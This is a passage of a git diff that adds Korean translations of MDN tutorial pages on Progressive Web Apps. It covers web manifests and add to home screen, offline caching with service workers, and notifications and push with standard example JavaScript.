+ <li><code>icons</code>: 아이콘들의 정보(URL, 크기, 타입)입니다. 사용자의 기기에 적합한 것을 선택할 수 있도록 여러 개를 추가하시기 바랍니다.</li>
+ <li><code>start_url</code>: 앱이 시작할 때 실행할 초기 문서입니다.</li>
+ <li><code>display</code>: 앱을 표시하는 방식입니다(전체 화면, 독립형(standalone), 최소 UI, 또는 브라우저).</li>
+ <li><code>theme_color</code>: 운영 체제에 의해 사용될 UI를 위한 주요 색상입니다.</li>
+ <li><code>background_color</code>: 스플래시 화면과 설치하는 동안 사용될 배경 색상입니다.</li>
+</ul>
+
+<p>웹 manifest를 위한 최소 요구 사항은 <code>name</code>과 적어도 하나(<code>src</code>, <code>size</code>, <code>type</code>을 포함)의 아이콘입니다. <code>description</code>, <code>short_name</code>, <code>start_url</code>은 권장사항입니다. 위에서 나열한 항목 외 더 많은 항목들이 있습니다. <a href="/ko/docs/Web/Manifest">Web App Manifest 레퍼런스</a>에서 자세한 내용에 대해 확인하시기 바랍니다.</p>
+
+<h2 id="홈_화면에_추가">홈 화면에 추가</h2>
+
+<p>"홈 화면에 추가"(또는 간단히 a2hs)는 모바일 브라우저에서 구현된 기능으로, 앱의 웹 manifest에서 찾은 정보를 사용해 아이콘과 이름 정보로 기기의 홈 화면에서 앱을 나타냅니다. 이는 앱이 위에서 설명한 모든 필수 요구조건을 만족할때만 동작합니다.</p>
+
+<p>사용자가 모바일 브라우저를 지원하는 PWA에 방문할 때, PWA로써 앱 설치를 가능하게하는 배너가 나타나야합니다.</p>
+
+<p><img alt="Add to Home screen popup of js13kPWA." src="https://mdn.mozillademos.org/files/15928/js13kpwa-icon.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>사용자가 이 배너를 클릭하면 설치 배너가 나타납니다. 배너는 브라우저에의해 자동으로 생성되며, manifest 파일의 정보(프롬프트에 보여질 이름, 아이콘)를 기반으로합니다.</p>
+
+<p><img alt="Install banner of js13kPWA." src="https://mdn.mozillademos.org/files/15927/js13kpwa-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>사용자가 버튼을 클릭하면 앱이 어떻게 표시될지를 보여주며, 사용자에게 정말 앱 추가를 원하는지 선택하도록 하는 마지막 단계가 있습니다.</p>
+
+<p><img alt="Add to Home screen popup of js13kPWA." src="https://mdn.mozillademos.org/files/15926/js13kpwa-add.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>확인을 하면 앱이 홈 화면에 설치됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15834/js13kpwa-installed.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>그 후, 즉시 아이콘을 사용해 이를 실행하여 시작할 수 있습니다. PWA가 가끔(여러분이 사용하는 브라우저나 운영체제에 따라) 아이콘의 우측 하단에 작은 브라우저 이미지가 있어 사용자에게 웹 특성에 대한 정보를 줍니다.</p>
+
+<h3 id="스플래시_화면">스플래시 화면</h3>
+
+<p>일부 브라우저에서, PWA가 실행될 때 보여지는 스플래시 화면 역시 manifest의 정보로부터 생성됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15835/js13kpwa-splash.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>아이콘과 테마 그리고 배경 색상은 이 화면을 생성하기 위해 사용됩니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 문서에서는 웹 manifest와 홈 화면에 추가를 사용해 PWA를 설치가능하게 하는 방법에 대해 배웠습니다.</p>
+
+<p>홈 화면에 추가에 대한 자세한 내용은 <a href="/ko/docs/Web/Apps/Progressive/Add_to_home_screen">홈 화면에 추가 가이드</a>를 읽어보시기 바랍니다. 브라우저 지원은 현재 Android 용 Firefox 58+, 모바일 Chrome 및 Android 웹 뷰 31+, Android 32+ 용 Opera로 제한되어 있지만 가까운 장래에 개선 될 것입니다.</p>
+
+<p>이제 PWA 퍼즐의 마지막 조각(푸시 알림을 통한 재참여)으로 이동해봅시다.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/progressive_web_apps/offline_service_workers/index.html b/files/ko/web/progressive_web_apps/offline_service_workers/index.html
new file mode 100644
index 0000000000..9c9366b12c
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/offline_service_workers/index.html
@@ -0,0 +1,205 @@
+---
+title: Service worker를 사용해 PWA를 오프라인에서 동작하게 만들기
+slug: Web/Progressive_web_apps/Offline_Service_workers
+tags:
+ - PWA
+ - Service Worker
+ - js12kGames
+ - 오프라인
+ - 프로그레시브
+ - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps/Offline_Service_workers
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">우리는 js13kPWA의 구조와 기본적인 shell을 만들고 실행하는 것에 대해 살펴보았습니다. 이제 Service Worker를 사용해 오프라인 기능을 구현하는 방법에 대해 살펴봅시다. 이 문서에서는 <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA 예제</a>(<a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">소스 코드도 있습니다</a>)에서 어떻게 사용되었는지와 오프라인 기능을 추가하는 방법을 살펴봅니다.</p>
+
+<h2 id="Service_worker_설명">Service worker 설명</h2>
+
+<p>Service Worker는 브라우저와 네트워크 사이의 가상 프록시입니다. 이는 프론트엔드 개발자들이 수년간 어려움을 겪었던 문제들을 결국 해결하였습니다(특히 웹 사이트의 자원을 적절히 캐싱하는 방법과, 사용자의 기기가 오프라인일 때 이를 사용할 수 있도록 하는 것 등).</p>
+
+<p>이는 페이지의 메인 JavaScript 코드와 독립된 스레드에서 실행되며, DOM 구조에 대한 어떠한 접근도 갖지 않습니다. 이는 전통적인 웹 프로그래밍과 다른 접근법을 소개합니다. API는 비차단형(non-blocking)이며 여러 컨텍스트 사이에 커뮤니케이션을 주고 받을 수 있습니다. 여러분은 Service Worker에 어떤 작업을 전달할 수 있으며, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> 기반 접근법을 사용해 결과가 준비될때마다 전달받을 수 있습니다.</p>
+
+<p>Service Worker는 "단지" 오프라인 기능을 제공하는 것 이상으로 알림 처리, 독립된 스레드에서의 복잡한 계산 등 많은 것들을 할 수 있습니다. Service worker는 네트워크 요청을 제어하고 수정하며, 캐시로부터 반환된 커스텀 응답을 제공하거나 응답을 완전히 가공할 수도 있으므로 매우 강력합니다.</p>
+
+<h3 id="보안">보안</h3>
+
+<p>Service Worker는 매우 강력하기때문에 안전한 컨텍스트(HTTPS를 의미)에서만 실행됩니다. 코드를 상용으로 푸시하기전에 먼저 테스트하길 원하신다면, localhost에서 테스트하거나 GitHub Pages를 설정하면 됩니다. 둘 다 HTTPS를 지원합니다.</p>
+
+<h2 id="오프라인_우선">오프라인 우선</h2>
+
+<p>"오프라인 우선" — 또는 "캐시 우선" — 패턴은 사용자에게 컨텐츠를 제공하는 가장 유명한 전략입니다. 리소스가 캐싱되었고 오프라인 사용이 가능한 경우, 서버로부터 다운로드를 시도하기전에 캐시를 먼저 반환합니다. 캐시에 없는 경우, 다음 사용을 위해 다운로드하고 캐싱합니다.</p>
+
+<h2 id="PWA의_점진적">PWA의 "점진적"</h2>
+
+<p>점진적인 향상으로써 제대로 구현이 되면, service worker는 오프라인 지원을 제공하여 API를 지원하는 최신 브라우저를 사용하는 사용자에게 유용하지만, 구형 브라우저를 사용하는 사람들에게도 사이트 사용에 아무런 문제가 없습니다.</p>
+
+<h2 id="js13kPWA_앱의_Service_worker">js13kPWA 앱의 Service worker</h2>
+
+<p>이론은 충분합니다. 소스 코드를 봅시다!</p>
+
+<h3 id="Service_Worker_등록">Service Worker 등록</h3>
+
+<p>app.js 파일에서 새로운 Service Worker를 등록하는 코드를 살펴보는 것으로 시작할 것입니다.</p>
+
+<pre class="brush: js">if('serviceWorker' in navigator) {
+ navigator.serviceWorker.register('/pwa-examples/js13kpwa/sw.js');
+};</pre>
+
+<p>브라우저에서 Service worker API를 지원한다면, {{domxref("ServiceWorkerContainer.register()")}} 메소드를 사용해 사이트에대해 등록됩니다. 컨텐츠는 sw.js 파일안에 있으며 등록이 성공한 후에 실행됩니다. 이것이 app.js 파일안에 있는 Service Worker 코드의 유일한 부분입니다. Service Worker에 대한 다른 모든 것들은 sw.js 파일에 작성되어 있습니다.</p>
+
+<h3 id="Service_Worker의_수명_주기">Service Worker의 수명 주기</h3>
+
+<p>등록이 완료되면, sw.js 파일은 자동으로 다운로드된 후 설치되고 마지막으로 활성화됩니다.</p>
+
+<h4 id="설치">설치</h4>
+
+<p>API는 우리가 관심있는 주요 이벤트에 대한 이벤트 리스너를 추가할 수 있게 해줍니다. 첫 번째 것은 <code>install</code> 이벤트 입니다.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(e) {
+ console.log('[Service Worker] Install');
+});</pre>
+
+<p><code>install</code> 리스너에서 캐시를 초기화하고 오프라인 사용을 위한 파일들을 추가할 수 있습니다. js13kPWA 앱도 정확히 그런 작업을 합니다.</p>
+
+<p>먼저, 캐시 이름을 저장할 변수를 생성하고, app shell 파일들을 하나의 배열에 나열합니다.</p>
+
+<pre class="brush: js">var cacheName = 'js13kPWA-v1';
+var appShellFiles = [
+ '/pwa-examples/js13kpwa/',
+ '/pwa-examples/js13kpwa/index.html',
+ '/pwa-examples/js13kpwa/app.js',
+ '/pwa-examples/js13kpwa/style.css',
+ '/pwa-examples/js13kpwa/fonts/graduate.eot',
+ '/pwa-examples/js13kpwa/fonts/graduate.ttf',
+ '/pwa-examples/js13kpwa/fonts/graduate.woff',
+ '/pwa-examples/js13kpwa/favicon.ico',
+ '/pwa-examples/js13kpwa/img/js13kgames.png',
+ '/pwa-examples/js13kpwa/img/bg.png',
+ '/pwa-examples/js13kpwa/icons/icon-32.png',
+ '/pwa-examples/js13kpwa/icons/icon-64.png',
+ '/pwa-examples/js13kpwa/icons/icon-96.png',
+ '/pwa-examples/js13kpwa/icons/icon-128.png',
+ '/pwa-examples/js13kpwa/icons/icon-168.png',
+ '/pwa-examples/js13kpwa/icons/icon-192.png',
+ '/pwa-examples/js13kpwa/icons/icon-256.png',
+ '/pwa-examples/js13kpwa/icons/icon-512.png'
+];</pre>
+
+<p>다음으로, data/games.js 파일의 컨텐츠와 함께 로딩될 이미지 링크가 두 번째 배열에 생성됩니다. 그런 다음, {{jsxref("Array.prototype.concat()")}} 함수를 사용해 두 배열을 병합합니다.</p>
+
+<pre class="brush: js">var gamesImages = [];
+for(var i=0; i&lt;games.length; i++) {
+ gamesImages.push('data/img/'+games[i].slug+'.jpg');
+}
+var contentToCache = appShellFiles.concat(gamesImages);</pre>
+
+<p>그러면 <code>install</code> 이벤트 자체를 관리할 수 있게 됩니다.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(e) {
+ console.log('[Service Worker] Install');
+ e.waitUntil(
+ caches.open(cacheName).then(function(cache) {
+ console.log('[Service Worker] Caching all: app shell and content');
+ return cache.addAll(contentToCache);
+ })
+ );
+});</pre>
+
+<p>여기서 두 가지에 대한 설명이 필요합니다: {{domxref("ExtendableEvent.waitUntil")}}이 무엇을 하는지, 그리고 {{domxref("caches","Caches")}} 객체가 무엇인지.</p>
+
+<p>Service worker는 <code>waitUntil</code> 안의 코드가 실행되기전까지 설치되지 않습니다. 이는 promise를 반환합니다. 설치에 약간의 시간이 걸릴 수 있으므로 완료될 때까지 기다려야하기 때문에 이 접근법이 필요합니다.</p>
+
+<p><code>Caches</code> 는 데이터를 저장할 수 있도록 주어진 Service Worker의 범위 내에서 사용할 수 있는 특별한 객체입니다. 웹 저장소는 동기적이므로 <a href="/ko/docs/Web/API/Web_Storage_API">웹 저장소</a>로의 저장은 동작하지 않을 것입니다. Service Worker는 Cache API를 대신 사용합니다.</p>
+
+<p>여기에 주어진 이름을 갖는 캐시를 열고 캐시에서 사용할 앱의 모든 파일을 추가하여 다음 로딩에서 사용할 수 있게됩니다(요청 URL로 식별됨).</p>
+
+<h4 id="활성화">활성화</h4>
+
+<p><code>install</code>과 같은 방식으로 사용되는 <code>activate</code> 이벤트도 있습니다. 이 이벤트는 일반적으로 더 이상 필요하지 않은 파일을 제거하고 앱이 끝난 후 정리하는데 사용됩니다. 우리 앱에서는 사용하지 않으므로 생략하겠습니다.</p>
+
+<h3 id="패치_응답">패치 응답</h3>
+
+<p>처리를 위한 <code>fetch</code> 이벤트도 있습니다. 이는 앱으로부터 HTTP 요청이 출발할 때 마다 발생합니다. 이는 요청을 가로채 커스텀 응답으로 응답할 수 있어 매우 유용합니다.<br>
+ 다음은 간단한 사용 예시입니다.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(e) {
+ console.log('[Service Worker] Fetched resource '+e.request.url);
+});</pre>
+
+<p>응답은 파일 요청, 캐시된 사본, 또는 특정 작업을 수행하는 JavaScript 코드 조각 등 원하는 어떠한것도 될 수 있습니다. 가능성은 무한합니다.</p>
+
+<p>예제 앱에서 우리는 리소스가 실제로 캐시에 있는한 네트워크 대신 캐시로부터 컨텐츠를 제공합니다. 앱이 온라인이든 오프라인이든간에 이렇게 수행합니다. 파일이 캐시에 없을 경우, 이를 제공하기 전에 먼저 캐시에 추가합니다.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(e) {
+ e.respondWith(
+ caches.match(e.request).then(function(r) {
+ console.log('[Service Worker] Fetching resource: '+e.request.url);
+ return r || fetch(e.request).then(function(response) {
+ return caches.open(cacheName).then(function(cache) {
+ console.log('[Service Worker] Caching new resource: '+e.request.url);
+ cache.put(e.request, response.clone());
+ return response;
+ });
+ });
+ })
+ );
+});</pre>
+
+<p>여기에서 우리는 리소스를 찾고 존재할 경우 응답을 반환하는 함수로 패치 이벤트에 응답합니다. 응답이 없을 경우 다른 패치 요청을 사용해 네트워크로부터 패치한 후 캐시에 응답을 저장하여 다음 요청에서 사용할 수 있도록 합니다.</p>
+
+<p>{{domxref("FetchEvent.respondWith")}} 메소드가 제어를 대신합니다. 이는 앱과 네트워크 사이의 프록시 서버로서 기능하는 부분입니다. 이는 Service Worker에 의해 준비되고, 캐시로부터 가져와, 필요한 경우 수정하여 모든 요청에 대해 우리가 원하는 응답을 할 수 있게 해줍니다.</p>
+
+<p>이게 다입니다! 우리 앱은 설치에서 자원을 캐싱하고 캐시로부터 이를 패치하여 전달함으로 사용자가 오프라인인 경우에도 동작합니다. 새로운 컨텐츠가 추가되면 역시 캐싱합니다.</p>
+
+<h2 id="업데이트">업데이트</h2>
+
+<p>다뤄야 할 하나가 더 남았습니다. 새 자원을 포함하는 앱의 새 버전이 사용가능할 때 어떻게 Service Worker를 업그레이드하나요? 캐시 이름안의 버전 넘버가 핵심입니다.</p>
+
+<pre class="brush: js">var cacheName = 'js13kPWA-v1';</pre>
+
+<p>v2로 업데이트했을 때, 새 캐시에 모든 파일(새 파일들을 포함)을 추가할 수 있습니다.</p>
+
+<pre class="brush: js">contentToCache.push('/pwa-examples/js13kpwa/icons/icon-32.png');
+
+// ...
+
+self.addEventListener('install', function(e) {
+ e.waitUntil(
+ caches.open('js13kPWA-v2').then(function(cache) {
+ return cache.addAll(contentToCache);
+ })
+ );
+});</pre>
+
+<p>새 service worker가 백그라운드에서 설치되고 이전의 것(v1)이 사용하는 페이지가 없을 때까지 올바르게 동작합니다. 새로운 Service Worker는 그 후 활성화되고 이전의 것으로부터 페이지의 관리를 넘겨받습니다.</p>
+
+<h2 id="캐시_지우기">캐시 지우기</h2>
+
+<p>생략했던 <code>activate</code> 이벤트를 기억하시나요? 더 이상 필요하지 않은 오래된 캐시를 지우는데 사용할 수 있습니다.</p>
+
+<pre class="brush: js">self.addEventListener('activate', function(e) {
+ e.waitUntil(
+ caches.keys().then(function(keyList) {
+ return Promise.all(keyList.map(function(key) {
+ if(cacheName.indexOf(key) === -1) {
+ return caches.delete(key);
+ }
+ }));
+ })
+ );
+});</pre>
+
+<p>이는 캐시에 우리가 필요한 파일만 있도록 보장하여, 불필요한 파일을 남기지 않게 됩니다. <a href="/ko/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">브라우저에서 사용가능한 캐시 공간은 제한적</a>이므로 이를 지우는 것은 우리 스스로를 위한 좋은 아이디어입니다.</p>
+
+<h2 id="다른_유즈_케이스">다른 유즈 케이스</h2>
+
+<p>캐시로부터 파일들을 전달하는 것은 Service Worker가 제공하는 유일한 기능이 아닙니다. 복잡한 계산을 해야하는 경우, 메인 스레드로부터 이를 분리하여 worker에서 수행하도록 하고 결과가 나오는대로 받을 수 있습니다. 성능 측면에서 볼 때, 지금 당장 필요하지는 않지만 가까운 미래에 필요할 수도 있는 리소스를 미리 패치하여 실제로 그 리소스들을 필요로할 때 앱이 더 빨라집니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 문서에서는 service worker를 사용해 PWA가 오프라인에서 동작하도록 만드는 방법에 대해 간략히 살펴보았습니다. <a href="/ko/docs/Web/API/Service_Worker_API">Service Worker API</a>의 개념과 사용 방법에 대한 더 자세한 내용을 배우시려면 우리의 추가 문서를 확인하시기 바랍니다.</p>
+
+<p>Service Worker는 <a href="/en-US/docs/Web/API/Push_API">푸시 알림</a>을 처리할 때에도 사용됩니다. 이는 이어지는 문서에서 설명할 것입니다.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/progressive_web_apps/re-engageable_notifications_push/index.html b/files/ko/web/progressive_web_apps/re-engageable_notifications_push/index.html
new file mode 100644
index 0000000000..83a5e4ff4e
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/re-engageable_notifications_push/index.html
@@ -0,0 +1,253 @@
+---
+title: 알림과 푸시를 사용해 PWA를 재참여(re-engageable)가능하게 만드는 방법
+slug: Web/Progressive_web_apps/Re-engageable_Notifications_Push
+tags:
+ - PWA
+ - js13kGames
+ - 알림
+ - 푸시
+ - 프로그레시브
+ - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps/Re-engageable_Notifications_Push
+---
+<div>{{PreviousMenu("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">앱을 오프라인에서 동작하도록 컨텐츠를 캐싱하는 능력은 훌륭한 기능입니다. 사용자가 홈 화면에 웹 앱을 설치하도록 허용하는 것은 더 좋습니다. 하지만, 사용자의 동작에 의존하는 대신 푸시 메시지와 알림을 사용해 새로운 컨텐츠가 있을때 이를 전달하여 사용자를 자동으로 다시 참여하도록 할 수 있습니다.</p>
+
+<h2 id="두_개의_API_하나의_목적">두 개의 API, 하나의 목적</h2>
+
+<p><a href="/ko/docs/Web/API/Push_API">Push API</a>와 <a href="/ko/docs/Web/API/Notifications_API">Notifications API</a>는 두 개의 독립된 API이지만, 여러분의 앱에 재참여 기능을 제공하려고 할 때 함께 잘 동작합니다. Push는 클라이언트 사이드의 관여 없이 서버로부터 앱으로 새로운 컨텐츠를 전달하는데 사용되며, 이 작업은 앱의 service worker에 의해 처리됩니다. Notification은 service worker에 의해 사용자에게 새로운 정보를 보여주거나 무언가 업데이트 되었음을 알리는데 사용됩니다.</p>
+
+<p>두 API는 service worker와 마찬가지로 브라우저 창의 바깥에서 동작하기때문에 앱의 페이지를 보고 있지 않거나 심지어 종료되었을 때도 업데이트 푸시를 보내거나 알림을 보여줄 수 있습니다.</p>
+
+<h2 id="Notifications">Notifications</h2>
+
+<p>알림으로 시작해봅시다. 알림은 푸시 없이도 동작하지만, 푸시와 결합했을 때 매우 유용합니다. 먼저 독립적으로 보도록하겠습니다.</p>
+
+<h3 id="권한_요청">권한 요청</h3>
+
+<p>알림을 보여주려면 먼저 권한을 요청해야 합니다. 즉시 알림을 보여주는대신 사용자가 버튼을 클릭하여 팝업을 요청할 때 요청 팝업을 보여주는 것이 좋은 사용법입니다.</p>
+
+<pre class="brush: js">var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+ Notification.requestPermission().then(function(result) {
+ if(result === 'granted') {
+ randomNotification();
+ }
+ });
+});</pre>
+
+<p>팝업은 운영체제가 가진 알림 서비스를 사용해 보여집니다.</p>
+
+<p><img alt="Notification of js13kPWA." src="https://mdn.mozillademos.org/files/15930/js13kpwa-notification.png" style="display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>사용자가 알림 수신을 확인하면 앱이 알림을 보여줄 수 있습니다. 사용자는 기본, 승인 또는 거절을 선택할 수 있습니다. 기본 옵션은 사용자가 선택할 수 없을 때 사용되며, 다른 두 옵션은 사용자가 예 또는 아니오를 선택했을 때 사용됩니다.</p>
+
+<p>승인이 되면, 권한은 알림과 푸시 모두에 대해 동작합니다.</p>
+
+<h3 id="알림_생성">알림 생성</h3>
+
+<p>예시 앱은 사용가능한 데이터를 알림으로 생성합니다. 게임은 무작위로 선택되며, 선택된 것은 게임의 이름을 title로, 제작자를 body로, 이미지를 아이콘으로 보여주는 컨텐츠를 알림으로 제공합니다.</p>
+
+<pre class="brush: js">function randomNotification() {
+ var randomItem = Math.floor(Math.random()*games.length);
+ var notifTitle = games[randomItem].name;
+ var notifBody = 'Created by '+games[randomItem].author+'.';
+ var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+ var options = {
+ body: notifBody,
+ icon: notifImg
+ }
+ var notif = new Notification(notifTitle, options);
+ setTimeout(randomNotification, 30000);
+}</pre>
+
+<p>새로운 무작위 알림은 사용자가 너무 귀찮아 비활성화 하기 전까지는 매 30초마다 생성됩니다. (실제 앱에서는 알림이 너무 잦아선 안되며 더 유용해야합니다.) Notifications API의 이점은 운영체제의 알림 기능을 사용한다는 것입니다. 이는 사용자가 웹 앱을 보고있지않더라도 알림을 보여줄 수 있으며, 알림이 네이티브 앱에서 표시하는 것과 유사하다는 것을 의미합니다.</p>
+
+<h2 id="Push">Push</h2>
+
+<p>푸시는 알림보다 더 복잡합니다. 우리는 앱으로 데이터를 다시 전송해줄 서버를 구독해야합니다. 앱의 Service Worker는 푸시 서버로부터 데이터를 수신하며 알림 시스템 또는 원하는 경우 다른 메커니즘을 사용해 이를 보여줄 수 있습니다.</p>
+
+<p>이 기술은 여전히 아주 초기 단계에 있습니다. 몇몇 동작하는 예제들은 Google Cloude Messaging 플랫폼을 사용하지만, <a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">VAPID</a>(자발적 어플리케이션 식별, Voluntary Application Identification)를 지원하도록 재작성되어 앱을 위한 부가적인 보안 계층을 제공합니다. <a href="https://serviceworke.rs/push-payload.html">Service Workers Cookbook examples</a>를 확인하고, <a href="https://firebase.google.com/">Firebase</a>를 사용하는 푸시 메시징 서버를 설정하거나, 여러분만의 서버(예제에서는 Node.js를 사용)를 구축해보시기 바랍니다.</p>
+
+<p>앞서 언급듯이, 푸시 알림을 수신하려면 service worker가 있어야 합니다. 이를 위한 기본적인 내용은 <a class="new" href="https://developer.mozilla.org/ko/docs/Web/Apps/Progressive/Offline_Service_workers" rel="nofollow">Service worker를 사용해 PWA를 오프라인에서 동작하게 만들기</a> 문서에서 이미 설명했습니다. Service worker 안에서 푸시 서비스 구독 메커니즘이 생성됩니다.</p>
+
+<pre class="brush: js">registration.pushManager.getSubscription() .then( /* ... */ );</pre>
+
+<p>사용자가 구독을 하기 시작하면, 서버로부터 푸시 알림을 받을 수 있습니다.</p>
+
+<p>서버사이드에서는 보안적인 이유로 전체 프로세스를 공개키와 비공개키를 사용하여 암호화해야 합니다. 모든 사람들이 앱을 사용하여 안전하지 않은 푸시 메시지를 보내도록 허용하는 것은 끔찍할 것입니다. 서버는 사용자가 구독했을 때 받은 모든 정보를 저장하므로 이 후 필요할 때 메시지를 보낼 수 있습니다.</p>
+
+<p>푸시 메시지를 수신하려면, Service Worker 파일에서 {{event("push")}}이벤트를 사용하면됩니다.</p>
+
+<pre class="brush: js">self.addEventListener('push', function(e) { /* ... */ });</pre>
+
+<p>데이터는 반환되어 알림으로 사용자에게 즉시 보여집니다. 예를 들어, 이는 사용자에게 무언가를 다시 알려주거나, 앱에서 사용 가능한 새로운 컨텐츠에 대해 알려주는데 사용할 수 있습니다.</p>
+
+<h3 id="푸시_예제">푸시 예제</h3>
+
+<p>푸시는 동작을 위해 서버 파트가 필요하므로, 정적인 파일의 호스팅만 제공하는 GitHub Pages에 호스팅된 js13kPWA 예제를 포함 할 수 없습니다. 이는 <a href="https://serviceworke.rs/">Service Worker Cookbook</a>에 모두 설명되어 있습니다. <a href="https://serviceworke.rs/push-payload.html">Push Payload 데모</a>를 확인하시기 바랍니다.</p>
+
+<p>이 데모는 세 파일을 포함하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/index.js">index.js</a>, 앱의 소스 코드를 포함합니다</li>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/server.js">server.js</a>, 서버 파트(Node.js로 작성됨)를 포함합니다</li>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/service-worker.js">service-worker.js</a>, Service Worker 관련 코드를 포함합니다.</li>
+</ul>
+
+<p>이 모든 것들에 대해 확인해봅시다</p>
+
+<h4 id="index.js">index.js</h4>
+
+<p><code>index.js</code> 파일은 service worker를 등록하는 것으로 시작합니다.</p>
+
+<pre class="brush: js">navigator.serviceWorker.register('service-worker.js')
+.then(function(registration) {
+ return registration.pushManager.getSubscription()
+ .then(async function(subscription) {
+ // registration part
+ });
+})
+.then(function(subscription) {
+ // subscription part
+});</pre>
+
+<p><a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA 데모</a>에서 봤던 service worker보다 조금 더 복잡합니다. 이 특정 케이스에서는, 등록한 후에 등록 객체를 사용해 구독하며, 그 후 구독 객체를 사용해 전체 프로세스를 완료합니다.</p>
+
+<p>등록 파트의 코드는 다음과 같습니다.</p>
+
+<pre class="brush: js">if(subscription) {
+ return subscription;
+}</pre>
+
+<p>사용자가 이미 구독했을경우, 구독 객체를 반환하며 구독 파트로 이동합니다. 그렇지 않을 경우 새로운 구독을 초기화합니다.</p>
+
+<pre class="brush: js">const response = await fetch('./vapidPublicKey');
+const vapidPublicKey = await response.text();
+const convertedVapidKey = urlBase64ToUint8Array(vapidPublicKey);</pre>
+
+<p>앱은 서버의 공개 키를 패치하고 응답을 텍스트로 변환합니다. 그 후 Uint8Array(Chrome 지원을 위해)로 변환이 필요합니다. VAPID 키에 대한 자세한 내용은 <a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Sending VAPID identified WebPush Notifications via Mozilla’s Push Service</a> 블로그 포스트를 읽어보시기 바랍니다.</p>
+
+<p>앱은 이제 새로운 사용자를 구독하기 위해 {{domxref("PushManager")}}를 사용합니다. 두 옵션이 {{domxref("PushManager.subscribe()")}} 메소드로 전달됩니다. 첫 번째는 <code>userVisibleOnly: true</code>이며 사용자에게 전송되는 모든 알림이 보여진다는 것을 의미하며, 두 번째 것은 <code>applicationServerKey</code>이며 성공적으로 획득하고 변환된 VAPID 키를 포함합니다.</p>
+
+<pre class="brush: js">return registration.pushManager.subscribe({
+ userVisibleOnly: true,
+ applicationServerKey: convertedVapidKey
+});</pre>
+
+<p>이제 구독 파트로 이동해봅시다. 앱은 Fetch를 사용해 먼저 서버로 JSON으로 된 구독 상세 정보를 전송합니다.</p>
+
+<pre class="brush: js">fetch('./register', {
+ method: 'post',
+ headers: {
+ 'Content-type': 'application/json'
+ },
+ body: JSON.stringify({
+ subscription: subscription
+ }),
+});</pre>
+
+<p>그 다음 <em>구독</em> 버튼의 {{domxref("onclick","GlobalEventHandlers.onclick")}}이 정의됩니다.</p>
+
+<pre class="brush: js">document.getElementById('doIt').onclick = function() {
+ const payload = document.getElementById('notification-payload').value;
+ const delay = document.getElementById('notification-delay').value;
+ const ttl = document.getElementById('notification-ttl').value;
+
+ fetch('./sendNotification', {
+ method: 'post',
+ headers: {
+ 'Content-type': 'application/json'
+ },
+ body: JSON.stringify({
+ subscription: subscription,
+ payload: payload,
+ delay: delay,
+ ttl: ttl,
+ }),
+ });
+};</pre>
+
+<p>버튼이 클릭되면, <code>fetch</code>는 제공된 파라미터를 사용해 서버로 알림을 전송합니다. <code>payload</code>는 알림에 표시될 텍스트이고, <code>delay</code>는 알림이 보여질 때 까지의 지연 시간을 정의하며, <code>ttl</code>은 지정된 시간(초 단위로도 정의됨)동안 서버에서 알림을 사용할 수 있게하는 time-to-live 설정입니다.</p>
+
+<p>이제, 다음 JavaScript 파일로 넘어갑니다.</p>
+
+<h4 id="server.js">server.js</h4>
+
+<p>서버 파트는 Node.js로 작성되었으며 어딘가 적합한 곳에 호스팅되어야 합니다. 이는 완전히 다른 문서의 주제입니다. 여기에서는 높은 수준의 개요만 제공합니다.</p>
+
+<p><a href="https://www.npmjs.com/package/web-push">web-push 모듈</a>은 VAPID 키를 설정하기 위해 사용되며, 존재하지 않을 경우 선택적으로 생성합니다.</p>
+
+<pre class="brush: js">const webPush = require('web-push');
+
+if (!process.env.VAPID_PUBLIC_KEY || !process.env.VAPID_PRIVATE_KEY) {
+ console.log("You must set the VAPID_PUBLIC_KEY and VAPID_PRIVATE_KEY "+
+ "environment variables. You can use the following ones:");
+ console.log(webPush.generateVAPIDKeys());
+ return;
+}
+
